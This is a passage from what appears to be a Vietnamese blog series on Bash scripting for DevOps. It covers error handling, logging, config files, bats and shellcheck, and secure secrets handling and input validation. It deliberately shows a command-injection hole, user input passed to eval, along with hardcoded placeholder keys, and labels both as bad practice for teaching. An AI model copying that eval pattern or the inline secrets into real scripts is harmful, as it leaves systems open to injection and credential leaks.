root\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi Error handling set -euo pipefail 1 2 3 4 5 6 # Luôn đặt ở đầu script set -euo pipefail # -e: Thoát ngay khi có lỗi # -u: Báo lỗi khi dùng biến chưa định nghĩa # -o pipefail: Thoát nếu bất kỳ command trong pipe fail Trap errors 1 2 3 4 5 6 7 8 # Trap ERR trap \u0026#39;echo \u0026#34;Error at line $LINENO\u0026#34; \u0026gt;\u0026amp;2\u0026#39; ERR # Trap EXIT (luôn chạy, dù thành công hay thất bại) trap cleanup EXIT # Trap specific signals trap \u0026#39;echo \u0026#34;Interrupted\u0026#34;; exit 130\u0026#39; INT TERM Exit codes có ý nghĩa 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # Trả về exit code có nghĩa exit 0 # Success exit 1 # General error exit 2 # Misuse of shell command exit 126 # Permission problem exit 127 # Command not found exit 128+n # Fatal error signal \u0026#34;n\u0026#34; # Trong script validate_input() { if [[ -z \u0026#34;$1\u0026#34; ]]; then echo \u0026#34;ERROR: Missing argument\u0026#34; \u0026gt;\u0026amp;2 return 1 fi return 0 } Logging Log với levels 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # Constants readonly RED=\u0026#39;\\033[0;31m\u0026#39; readonly GREEN=\u0026#39;\\033[0;32m\u0026#39; readonly YELLOW=\u0026#39;\\033[1;33m\u0026#39; readonly NC=\u0026#39;\\033[0m\u0026#39; # No Color log_info() { echo -e \u0026#34;${GREEN}[$(date \u0026#39;+%H:%M:%S\u0026#39;)] [INFO]${NC} $1\u0026#34; } log_warn() { echo -e \u0026#34;${YELLOW}[$(date \u0026#39;+%H:%M:%S\u0026#39;)] [WARN]${NC} $1\u0026#34; \u0026gt;\u0026amp;2 } log_error() { echo -e \u0026#34;${RED}[$(date \u0026#39;+%H:%M:%S\u0026#39;)] [ERROR]${NC} $1\u0026#34; \u0026gt;\u0026amp;2 } # Usage log_info \u0026#34;Starting deployment\u0026#34; log_warn \u0026#34;Disk usage high\u0026#34; log_error \u0026#34;Connection failed\u0026#34; Log to file 1 2 3 4 5 6 7 8 9 10 11 log() { local level=\u0026#34;$1\u0026#34; local message=\u0026#34;$2\u0026#34; local log_file=\u0026#34;${LOG_FILE:-/tmp/${SCRIPT_NAME}.log}\u0026#34; echo \u0026#34;[$(date \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;)] [$level] $message\u0026#34; | tee -a \u0026#34;$log_file\u0026#34; } # Usage log \u0026#34;INFO\u0026#34; \u0026#34;Deployment started\u0026#34; log \u0026#34;ERROR\u0026#34; \u0026#34;Failed to connect to database\u0026#34; Configuration management Tách config khỏi code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # BAD — hardcode trong script DATABASE_URL=\u0026#34;postgres://user:pass@localhost:5432/db\u0026#34; API_KEY=\u0026#34;sk-1234567890\u0026#34; # GOOD — load từ config file readonly CONFIG_FILE=\u0026#34;${CONFIG_FILE:-${SCRIPT_DIR}/config.env}\u0026#34; if [[ -f \u0026#34;$CONFIG_FILE\u0026#34; ]]; then set -a source \u0026#34;$CONFIG_FILE\u0026#34; set +a else echo \u0026#34;ERROR: Config file not found: $CONFIG_FILE\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi # Validate required config : \u0026#34;${DATABASE_URL:?DATABASE_URL is required}\u0026#34; : \u0026#34;${API_KEY:?API_KEY is required}\u0026#34; Config file template 1 2 3 4 5 6 # config.env (chmod 600) APP_NAME=myapp DATABASE_URL=postgres://user:pass@localhost:5432/db REDIS_URL=redis://localhost:6379 LOG_LEVEL=info SLACK_WEBHOOK=https://hooks.slack.com/services/xxx Functions Function structure 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 # Function với local variables deploy_app() { local environment=\u0026#34;$1\u0026#34; local version=\u0026#34;$2\u0026#34; # Validate inputs if [[ -z \u0026#34;$environment\u0026#34; || -z \u0026#34;$version\u0026#34; ]]; then echo \u0026#34;Usage: deploy_app \u0026lt;environment\u0026gt; \u0026lt;version\u0026gt;\u0026#34; \u0026gt;\u0026amp;2 return 1 fi # Local scope — không conflict với global vars local deploy_dir=\u0026#34;/opt/apps/${environment}\u0026#34; # Logic echo \u0026#34;Deploying $version to $environment...\u0026#34; # Deploy logic here return 0 } # Function với return value qua stdout get_latest_version() { local app_name=\u0026#34;$1\u0026#34; # Trả value qua stdout, KHÔNG dùng return curl -s \u0026#34;https://api.example.com/apps/${app_name}/version\u0026#34; } # Usage VERSION=$(get_latest_version \u0026#34;myapp\u0026#34;) deploy_app \u0026#34;production\u0026#34; \u0026#34;$VERSION\u0026#34; Source external functions 1 2 3 4 5 6 7 8 9 10 11 12 13 # lib/logger.sh log_info() { echo \u0026#34;[INFO] $1\u0026#34;; } log_error() { echo \u0026#34;[ERROR] $1\u0026#34; \u0026gt;\u0026amp;2; } # lib/utils.sh validate_email() { [[ \u0026#34;$1\u0026#34; =~ ^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$ ]]; } # Script chính source \u0026#34;${SCRIPT_DIR}/lib/logger.sh\u0026#34; source \u0026#34;${SCRIPT_DIR}/lib/utils.sh\u0026#34; log_info \u0026#34;Starting script\u0026#34; validate_email \u0026#34;$USER_EMAIL\u0026#34; || { log_error \u0026#34;Invalid email\u0026#34;; exit 1; } Input validation Validate arguments 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # Check required args if [[ $# -lt 2 ]]; then echo \u0026#34;Usage: $0 \u0026lt;hostname\u0026gt; \u0026lt;port\u0026gt;\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi HOSTNAME=\u0026#34;$1\u0026#34; PORT=\u0026#34;$2\u0026#34; # Validate hostname if [[ ! \u0026#34;$HOSTNAME\u0026#34; =~ ^[a-zA-Z0-9]([a-zA-Z0-9.-]*[a-zA-Z0-9])?$ ]]; then echo \u0026#34;ERROR: Invalid hostname: $HOSTNAME\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi # Validate port if [[ ! \u0026#34;$PORT\u0026#34; =~ ^[0-9]+$ ]] || (( PORT \u0026lt; 1 || PORT \u0026gt; 65535 )); then echo \u0026#34;ERROR: Invalid port: $PORT (must be 1-65535)\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi Validate files 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 require_file() { local file=\u0026#34;$1\u0026#34; local description=\u0026#34;${2:-file}\u0026#34; if [[ ! -f \u0026#34;$file\u0026#34; ]]; then echo \u0026#34;ERROR: $description not found: $file\u0026#34; \u0026gt;\u0026amp;2 return 1 fi return 0 } require_executable() { local cmd=\u0026#34;$1\u0026#34; if ! command -v \u0026#34;$cmd\u0026#34; \u0026amp;\u0026gt;/dev/null; then echo \u0026#34;ERROR: Required command not found: $cmd\u0026#34; \u0026gt;\u0026amp;2 return 1 fi return 0 } # Usage require_file \u0026#34;.env\u0026#34; \u0026#34;Config file\u0026#34; require_executable \u0026#34;docker\u0026#34; require_executable \u0026#34;kubectl\u0026#34; Variable quoting Luôn quote khi expand 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # BAD — word splitting, globbing rm $FILE cp $SOURCE $DEST echo $VARIABLE # GOOD — always quote rm \u0026#34;$FILE\u0026#34; cp \u0026#34;$SOURCE\u0026#34; \u0026#34;$DEST\u0026#34; echo \u0026#34;$VARIABLE\u0026#34; # Exception: arrays và [[ ]] for file in \u0026#34;${FILES[@]}\u0026#34;; do echo \u0026#34;$file\u0026#34; done if [[ $var == \u0026#34;pattern\u0026#34; ]]; then echo \u0026#34;matched\u0026#34; fi Command substitution 1 2 3 4 5 6 7 # BAD cd $(dirname $0) files=$(ls) # GOOD cd \u0026#34;$(dirname \u0026#34;$0\u0026#34;)\u0026#34; files=$(ls) # ls output thường safe, nhưng vẫn nên cẩn thận Testing với bats Cài đặt 1 2 3 4 5 6 7 8 # Clone và install git clone https://github.com/bats-core/bats-core.git cd bats-core ./install.sh /usr/local # Hoặc dùng package manager brew install bats # macOS apt-get install bats # Debian/Ubuntu Viết tests 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #!/usr/bin/env bats # tests/test_deploy.sh # Setup — chạy trước mỗi test setup() { export SCRIPT_DIR=\u0026#34;$(dirname \u0026#34;$BATS_TEST_FILENAME\u0026#34;)/..\u0026#34; export TEST_ENV=\u0026#34;staging\u0026#34; } # Teardown — chạy sau mỗi test teardown() { # Cleanup rm -rf /tmp/test_deploy_* 2\u0026gt;/dev/null || true } # Test case @test \u0026#34;deploy_app returns 0 on success\u0026#34; { run bash \u0026#34;$SCRIPT_DIR/deploy.sh\u0026#34; \u0026#34;$TEST_ENV\u0026#34; \u0026#34;1.0.0\u0026#34; [ \u0026#34;$status\u0026#34; -eq 0 ] [[ \u0026#34;$output\u0026#34; == *\u0026#34;Deploying\u0026#34;* ]] } @test \u0026#34;deploy_app fails with invalid environment\u0026#34; { run bash \u0026#34;$SCRIPT_DIR/deploy.sh\u0026#34; \u0026#34;invalid-env\u0026#34; \u0026#34;1.0.0\u0026#34; [ \u0026#34;$status\u0026#34; -eq 1 ] [[ \u0026#34;$output\u0026#34; == *\u0026#34;Invalid environment\u0026#34;* ]] } @test \u0026#34;validate_port rejects non-numeric\u0026#34; { source \u0026#34;$SCRIPT_DIR/lib/utils.sh\u0026#34; run validate_port \u0026#34;abc\u0026#34; [ \u0026#34;$status\u0026#34; -eq 1 ] } @test \u0026#34;validate_port rejects out of range\u0026#34; { source \u0026#34;$SCRIPT_DIR/lib/utils.sh\u0026#34; run validate_port \u0026#34;99999\u0026#34; [ \u0026#34;$status\u0026#34; -eq 1 ] } Chạy tests 1 2 3 4 5 6 7 8 9 10 11 12 13 # Chạy tất cả tests bats tests/ # Chạy một file bats tests/test_deploy.sh # Output ✓ deploy_app returns 0 on success ✓ deploy_app fails with invalid environment ✓ validate_port rejects non-numeric ✓ validate_port rejects out of range 4 tests, 0 failures Shellcheck integration Setup 1 2 3 4 5 6 7 8 9 # Install brew install shellcheck # macOS apt-get install shellcheck # Debian/Ubuntu # Check script shellcheck script.sh # Fix all issues shellcheck -f diff script.sh | patch -p1 Common fixes 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 # SC2086: Double quote variables # BAD echo $1 # GOOD echo \u0026#34;$1\u0026#34; # SC2046: Quote command substitution # BAD cd $(dirname $0) # GOOD cd \u0026#34;$(dirname \u0026#34;$0\u0026#34;)\u0026#34; # SC2034: Remove unused variables # SC2155: Declare and assign separately # BAD local output=$(command) # GOOD local output output=$(command) # SC2164: Use cd ... || exit in case cd fails # BAD cd /some/dir # GOOD cd /some/dir || exit 1 CI/CD integration 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # GitHub Actions lint: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Install shellcheck run: sudo apt-get install -y shellcheck - name: Run shellcheck run: shellcheck -s bash scripts/*.sh lib/*.sh # pre-commit hook # .pre-commit-config.yaml repos: - repo: https://github.com/koalaman/shellcheck-precommit rev: v0.9.0 hooks: - id: shellcheck Ví dụ thực hành: Production-ready script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 #!/usr/bin/env bash # ============================================================================== # Script : health-checker.sh # Purpose: System health check with alerting # Usage: health-checker.sh [--webhook URL] [--threshold PERCENT] # ============================================================================== set -euo pipefail # ===== CONSTANTS ===== readonly SCRIPT_NAME=\u0026#34;$(basename \u0026#34;$0\u0026#34;)\u0026#34; readonly SCRIPT_DIR=\u0026#34;$(cd \u0026#34;$(dirname \u0026#34;$0\u0026#34;)\u0026#34; \u0026amp;\u0026amp; pwd)\u0026#34; readonly TIMESTAMP=\u0026#34;$(date \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;)\u0026#34; # ===== DEFAULTS ===== DISK_THRESHOLD=80 MEMORY_THRESHOLD=90 SLACK_WEBHOOK=\u0026#34;${SLACK_WEBHOOK:-}\u0026#34; LOG_FILE=\u0026#34;${LOG_FILE:-/var/log/${SCRIPT_NAME}.log}\u0026#34; # ===== FUNCTIONS ===== log() { local level=\u0026#34;$1\u0026#34; local message=\u0026#34;$2\u0026#34; echo \u0026#34;[$TIMESTAMP] [$level] $message\u0026#34; | tee -a \u0026#34;$LOG_FILE\u0026#34; } usage() { cat \u0026lt;\u0026lt; EOF Usage: $SCRIPT_NAME [OPTIONS] Options: -w, --webhook URL Slack webhook URL -d, --disk PERCENT Disk threshold (default: 80) -m, --memory PERCENT Memory threshold (default: 90) -h, --help Show this help Examples: $SCRIPT_NAME --webhook https://hooks.slack.com/xxx --disk 90 EOF exit \u0026#34;${1:-0}\u0026#34; } send_alert() { local message=\u0026#34;$1\u0026#34; if [[ -n \u0026#34;$SLACK_WEBHOOK\u0026#34; ]]; then curl -s -X POST -H \u0026#39;Content-type: application/json\u0026#39; \\ --data \u0026#34;{\\\u0026#34;text\\\u0026#34;:\\\u0026#34;[$SCRIPT_NAME] $message\\\u0026#34;}\u0026#34; \u0026#34;$SLACK_WEBHOOK\u0026#34; \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 fi } check_disk() { local usage usage=$(df -h / | awk \u0026#39;NR==2 {print $5}\u0026#39; | tr -d \u0026#39;%\u0026#39;) if (( usage \u0026gt; DISK_THRESHOLD )); then log \u0026#34;WARN\u0026#34; \u0026#34;Disk usage ${usage}% exceeds threshold ${DISK_THRESHOLD}%\u0026#34; send_alert \u0026#34;Disk usage ${usage}% on $(hostname)\u0026#34; return 1 fi log \u0026#34;INFO\u0026#34; \u0026#34;Disk usage: ${usage}%\u0026#34; return 0 } check_memory() { local usage usage=$(free | awk \u0026#39;/Mem:/ {printf \u0026#34;%.0f\u0026#34;, $3/$2 * 100}\u0026#39;) if (( usage \u0026gt; MEMORY_THRESHOLD )); then log \u0026#34;WARN\u0026#34; \u0026#34;Memory usage ${usage}% exceeds threshold ${MEMORY_THRESHOLD}%\u0026#34; send_alert \u0026#34;Memory usage ${usage}% on $(hostname)\u0026#34; return 1 fi log \u0026#34;INFO\u0026#34; \u0026#34;Memory usage: ${usage}%\u0026#34; return 0 } cleanup() { local exit_code=$? if [[ $exit_code -ne 0 ]]; then log \u0026#34;ERROR\u0026#34; \u0026#34;Script failed with exit code $exit_code\u0026#34; fi return $exit_code } # ===== MAIN ===== main() { while [[ $# -gt 0 ]]; do case \u0026#34;$1\u0026#34; in -w|--webhook) SLACK_WEBHOOK=\u0026#34;$2\u0026#34;; shift 2 ;; -d|--disk) DISK_THRESHOLD=\u0026#34;$2\u0026#34;; shift 2 ;; -m|--memory) MEMORY_THRESHOLD=\u0026#34;$2\u0026#34;; shift 2 ;; -h|--help) usage 0 ;; *) log \u0026#34;ERROR\u0026#34; \u0026#34;Unknown option: $1\u0026#34;; usage 1 ;; esac done log \u0026#34;INFO\u0026#34; \u0026#34;=== Health Check Started ===\u0026#34; local failed=0 check_disk || ((failed++)) check_memory || ((failed++)) if (( failed \u0026gt; 0 )); then log \u0026#34;WARN\u0026#34; \u0026#34;$failed check(s) failed\u0026#34; exit 1 fi log \u0026#34;INFO\u0026#34; \u0026#34;=== All checks passed ===\u0026#34; } # ===== ENTRY POINT ===== trap cleanup EXIT main \u0026#34;$@\u0026#34; Test script 1 2 3 4 5 # Chạy test $ bash -n health-checker.sh # Check syntax $ shellcheck health-checker.sh # Lint $ bats tests/test_health.sh # Run tests $ ./health-checker.sh --help # Test help output Ghi chú triển khai Bắt đầu với template: Luôn dùng template chuẩn khi viết script mới. Tiết kiệm thời gian và đảm bảo consistency. Shellcheck trong CI: Bắt buộc shellcheck pass trước khi merge. Catch bugs sớm. Test trước khi deploy: Viết bats tests cho critical scripts. Đặc biệt cho automation chạy trên production. Document --help: Mọi script nên có --help output rõ ràng. Team members sẽ không cần hỏi. Logging nhất quán: Dùng cùng format log trên tất cả scripts. Dễ aggregate và search. Config tách riêng: Không hardcode config trong script. Dùng .env hoặc config files. Review process: Khi review Bash scripts, check cho: hardcoded secrets, missing validation, unused variables, loose permissions. Lời kết Series 20 bài đã tổng hợp từ cơ bản đến nâng cao — từ variables, loops, functions, đến security, cloud automation, và testing.\nBest practice không phải là rules cứng nhắc mà là guidelines để viết scripts:\nDễ đọc: Comment rõ, naming convention, modular functions Dễ bảo trì: Error handling, logging, config management An toàn: Input validation, secrets management, shellcheck Dễ test: Bats tests, CI/CD integration Áp dụng những nguyên tắc này, bạn sẽ viết Bash scripts chuyên nghiệp và tự tin trong DevOps工作流.\n","date":"07/09/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-twenty.webp","permalink":"/vi/posts/bash/bash-step-twenty/","summary":"Tổng hợp best practice trong Bash DevOps: shebang, set -euo pipefail, modular functions, logging, config management, exit codes, shellcheck, và test với bats.","tags":["bash","shell-script","devops","best-practices","shellcheck","bats","testing"],"title":"Best Practice trong Bash: Tổng hợp kỹ thuật làm chủ script"},{"categories":["DevOps","Bash"],"content":"Bash và Security trong DevOps Trong bài viết trước, chúng ta đã tìm hiểu cách quản lý cloud với CLI tools. Bây giờ, chúng ta sẽ bàn về security — một chủ đề quan trọng nhưng thường bị bỏ qua khi viết Bash script.\nScript Bash chạy tự động khắp nơi — từ CI/CD pipeline đến cron jobs trên server. Nhưng nếu không bảo mật, chúng có thể trở thành lỗ hổng lớn: lộ API keys, bị injection attack, hay bị lợi dụng để chiếm quyền kiểm soát hệ thống.\nBài viết này sẽ hướng dẫn bạn cách quản lý secrets, validate input, set permissions đúng cách, và scan script với shellcheck để xây dựng Bash scripts an toàn trong DevOps.\nTại sao cần bảo mật script? Rủi ro phổ biến Rủi ro Mô tả Hậu quả Hardcoded secrets API key, password trong code Leaked khi share/repo Command injection Input không validate chạy thẳng Server bị chiếm quyền Insecure permissions Script world-executable Ai cũng chạy được Unquoted variables $var thay vì \u0026quot;$var\u0026quot; Unexpected behavior Best practices overview Không bao giờ hardcode secrets — dùng env vars hoặc vault Luôn quote variables — \u0026quot;$var\u0026quot; thay vì $var Validate input — kiểm tra format trước khi dùng Set restrictive permissions — chmod 700 cho script Scan với shellcheck —找出潜在 bugs Quản lý secrets Không hardcode secrets 1 2 3 4 5 6 7 8 # BAD — không bao giờ làm thế này API_KEY=\u0026#34;sk-1234567890abcdef\u0026#34; DB_PASSWORD=\u0026#34;mysecretpassword\u0026#34; ./deploy.sh \u0026#34;$API_KEY\u0026#34; # GOOD — dùng environment variable export API_KEY=\u0026#34;${API_KEY:?API_KEY is required}\u0026#34; ./deploy.sh \u0026#34;$API_KEY\u0026#34; Load từ file .env 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # Tạo file .env (không commit vào git) cat \u0026gt; .env \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY DATABASE_URL=postgres://user:pass@localhost:5432/mydb EOF # Bảo vệ file chmod 600 .env # Load trong script if [[ -f \u0026#34;.env\u0026#34; ]]; then set -a # Tự động export source .env set +a else echo \u0026#34;ERROR: .env file not found\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi # Kiểm tra bắt buộc : \u0026#34;${AWS_ACCESS_KEY_ID:?AWS_ACCESS_KEY_ID is required}\u0026#34; : \u0026#34;${DATABASE_URL:?DATABASE_URL is required}\u0026#34; CI/CD secrets 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # GitLab CI deploy: script: - bash deploy.sh variables: AWS_ACCESS_KEY_ID: $AWS_ACCESS_KEY_ID # Từ CI/CD settings AWS_SECRET_ACCESS_KEY: $AWS_SECRET_ACCESS_KEY # GitHub Actions deploy: runs-on: ubuntu-latest steps: - name: Deploy env: AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} run: bash deploy.sh HashiCorp Vault 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # Lấy secret từ Vault get_vault_secret() { local path=\u0026#34;$1\u0026#34; local key=\u0026#34;$2\u0026#34; local secret secret=$(vault kv get -field=\u0026#34;$key\u0026#34; \u0026#34;$path\u0026#34; 2\u0026gt;/dev/null) if [[ -z \u0026#34;$secret\u0026#34; ]]; then echo \u0026#34;ERROR: Failed to get secret from $path/$key\u0026#34; \u0026gt;\u0026amp;2 return 1 fi echo \u0026#34;$secret\u0026#34; } # Sử dụng DB_PASS=$(get_vault_secret \u0026#34;secret/data/database\u0026#34; \u0026#34;password\u0026#34;) Input validation Validate parameters 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # Kiểm tra số lượng arguments if [[ $# -ne 2 ]]; then echo \u0026#34;Usage: $0 \u0026lt;hostname\u0026gt; \u0026lt;port\u0026gt;\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi HOSTNAME=\u0026#34;$1\u0026#34; PORT=\u0026#34;$2\u0026#34; # Validate hostname (chỉ alphanumeric, dot, hyphen) if [[ ! \u0026#34;$HOSTNAME\u0026#34; =~ ^[a-zA-Z0-9]([a-zA-Z0-9.-]*[a-zA-Z0-9])?$ ]]; then echo \u0026#34;ERROR: Invalid hostname: $HOSTNAME\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi # Validate port (number 1-65535) if [[ ! \u0026#34;$PORT\u0026#34; =~ ^[0-9]+$ ]] || (( PORT \u0026lt; 1 || PORT \u0026gt; 65535 )); then echo \u0026#34;ERROR: Invalid port: $PORT\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi Sanitize filenames 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # Validate filename — chỉ cho phép safe characters sanitize_filename() { local filename=\u0026#34;$1\u0026#34; # Loại bỏ path traversal và dangerous chars filename=$(basename \u0026#34;$filename\u0026#34;) if [[ \u0026#34;$filename\u0026#34; =~ [^a-zA-Z0-9._-] ]]; then echo \u0026#34;ERROR: Invalid filename: $filename\u0026#34; \u0026gt;\u0026amp;2 return 1 fi echo \u0026#34;$filename\u0026#34; } # Sử dụng SAFE_FILE=$(sanitize_filename \u0026#34;$USER_INPUT\u0026#34;) || exit 1 cp \u0026#34;$SAFE_FILE\u0026#34; /backup/ Prevent command injection 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # BAD — injection vulnerability run_command() { local user_input=\u0026#34;$1\u0026#34; eval \u0026#34;echo $user_input\u0026#34; # DANGEROUS! } # SAFE — validate trước khi dùng run_command_safe() { local user_input=\u0026#34;$1\u0026#34; if [[ \u0026#34;$user_input\u0026#34; =~ ^[a-zA-Z0-9]+$ ]]; then echo \u0026#34;$user_input\u0026#34; else echo \u0026#34;ERROR: Invalid input\u0026#34; \u0026gt;\u0026amp;2 return 1 fi } Variable quoting Luôn quote variables 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 # Khi nào cần quote? # Luôn quote khi expand variables để tránh word splitting và globbing # BAD — unquoted file=$1 # Nếu $1 có spaces → break rm $file # Nguy hiểm! echo $var # Có thể bị glob * # GOOD — quoted file=\u0026#34;$1\u0026#34; rm \u0026#34;$file\u0026#34; echo \u0026#34;$var\u0026#34; # Ví dụ thực tế process_file() { local filepath=\u0026#34;$1\u0026#34; # Luôn quote parameter expansion if [[ ! -f \u0026#34;$filepath\u0026#34; ]]; then echo \u0026#34;File not found: $filepath\u0026#34; \u0026gt;\u0026amp;2 return 1 fi # Command substitution cũng nên quote local line_count line_count=$(wc -l \u0026lt; \u0026#34;$filepath\u0026#34;) echo \u0026#34;File has $line_count lines\u0026#34; } Khi nào KHÔNG quote? 1 2 3 4 5 6 7 8 9 10 # Khi intentionally wanting word splitting # Ví dụ: iterate qua list for file in *.log; do echo \u0026#34;Processing: $file\u0026#34; done # Khi dùng [[ ]] (bash-specific, safer than [ ]) if [[ $var == \u0026#34;pattern\u0026#34; ]]; then echo \u0026#34;Matched\u0026#34; fi File permissions Set đúng permissions 1 2 3 4 5 6 7 8 9 10 11 12 13 # Script permission — chỉ owner được execute chmod 700 script.sh # Hoặc chmod u+x script.sh # Secret files — chỉ owner read chmod 600 .env chmod 600 ~/.ssh/id_rsa chmod 600 ~/.aws/credentials # Directory permissions chmod 700 ~/.ssh chmod 700 ~/.aws Check permissions trong script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 check_permissions() { local file=\u0026#34;$1\u0026#34; local expected_perm=\u0026#34;$2\u0026#34; local actual_perm actual_perm=$(stat -f \u0026#34;%Lp\u0026#34; \u0026#34;$file\u0026#34; 2\u0026gt;/dev/null || stat -c \u0026#34;%a\u0026#34; \u0026#34;$file\u0026#34; 2\u0026gt;/dev/null) if [[ \u0026#34;$actual_perm\u0026#34; != \u0026#34;$expected_perm\u0026#34; ]]; then echo \u0026#34;ERROR: $file has permissions $actual_perm, expected $expected_perm\u0026#34; \u0026gt;\u0026amp;2 echo \u0026#34;Fix with: chmod $expected_perm $file\u0026#34; \u0026gt;\u0026amp;2 return 1 fi } # Sử dụng check_permissions \u0026#34;.env\u0026#34; \u0026#34;600\u0026#34; check_permissions \u0026#34;script.sh\u0026#34; \u0026#34;700\u0026#34; Shellcheck Cài đặt 1 2 3 4 5 6 7 8 9 10 11 # Debian/Ubuntu apt-get install -y shellcheck # CentOS/RHEL yum install -y shellcheck # macOS brew install shellcheck # Hoặc download binary # https://github.com/koalaman/shellcheck/releases Sử dụng 1 2 3 4 5 6 7 8 9 10 11 12 # Check một file shellcheck script.sh # Check tất cả scripts trong thư mục find . -name \u0026#34;*.sh\u0026#34; -exec shellcheck {} \\; # Output with severity levels shellcheck -S warning script.sh # Format output shellcheck -f gcc script.sh shellcheck -f json script.sh Các lỗi thường gặp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # SC2086: Double quote to prevent globbing and word splitting # BAD echo $1 # GOOD echo \u0026#34;$1\u0026#34; # SC2046: Quote this to prevent word splitting # BAD cd $(dirname $0) # GOOD cd \u0026#34;$(dirname \u0026#34;$0\u0026#34;)\u0026#34; # SC2034: Variable appears unused # WARNING — có thể là typo hoặc forgotten to use # SC2155: Declare and assign separately # BAD local output=$(command) # GOOD local output output=$(command) Tích hợp vào CI/CD 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # GitHub Actions lint: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Install shellcheck run: sudo apt-get install -y shellcheck - name: Run shellcheck run: shellcheck -s bash scripts/*.sh # GitLab CI shellcheck: image: koalaman/shellcheck:stable script: - shellcheck -s bash scripts/*.sh Ví dụ thực hành: Secure deploy script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 #!/usr/bin/env bash # ============================================================================== # Script : secure-deploy.sh # Mục đích: Deploy application với security best practices # ============================================================================== set -euo pipefail # ===== SECURITY CHECKS ===== # Kiểm tra script permissions SCRIPT_PERMS=$(stat -f \u0026#34;%Lp\u0026#34; \u0026#34;$0\u0026#34; 2\u0026gt;/dev/null || stat -c \u0026#34;%a\u0026#34; \u0026#34;$0\u0026#34; 2\u0026gt;/dev/null) if [[ \u0026#34;$SCRIPT_PERMS\u0026#34; != \u0026#34;700\u0026#34; \u0026amp;\u0026amp; \u0026#34;$SCRIPT_PERMS\u0026#34; != \u0026#34;755\u0026#34; ]]; then echo \u0026#34;WARNING: Script has loose permissions ($SCRIPT_PERMS). Recommended: 700\u0026#34; \u0026gt;\u0026amp;2 fi # ===== ENVIRONMENT SETUP ===== # Load secrets từ .env if [[ -f \u0026#34;.env\u0026#34; ]]; then set -a source .env set +a else echo \u0026#34;ERROR: .env file not found\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi # Validate required variables for var in APP_NAME DEPLOY_ENV SSH_HOST SSH_KEY; do : \u0026#34;${!var:?ERROR: $var is not set in environment or .env}\u0026#34; done # Validate SSH key file if [[ ! -f \u0026#34;$SSH_KEY\u0026#34; ]]; then echo \u0026#34;ERROR: SSH key not found: $SSH_KEY\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi SSH_KEY_PERMS=$(stat -f \u0026#34;%Lp\u0026#34; \u0026#34;$SSH_KEY\u0026#34; 2\u0026gt;/dev/null || stat -c \u0026#34;%a\u0026#34; \u0026#34;$SSH_KEY\u0026#34; 2\u0026gt;/dev/null) if [[ \u0026#34;$SSH_KEY_PERMS\u0026#34; != \u0026#34;600\u0026#34; ]]; then echo \u0026#34;ERROR: SSH key has insecure permissions ($SSH_KEY_PERMS). Expected: 600\u0026#34; \u0026gt;\u0026amp;2 echo \u0026#34;Fix with: chmod 600 $SSH_KEY\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi # ===== INPUT VALIDATION ===== 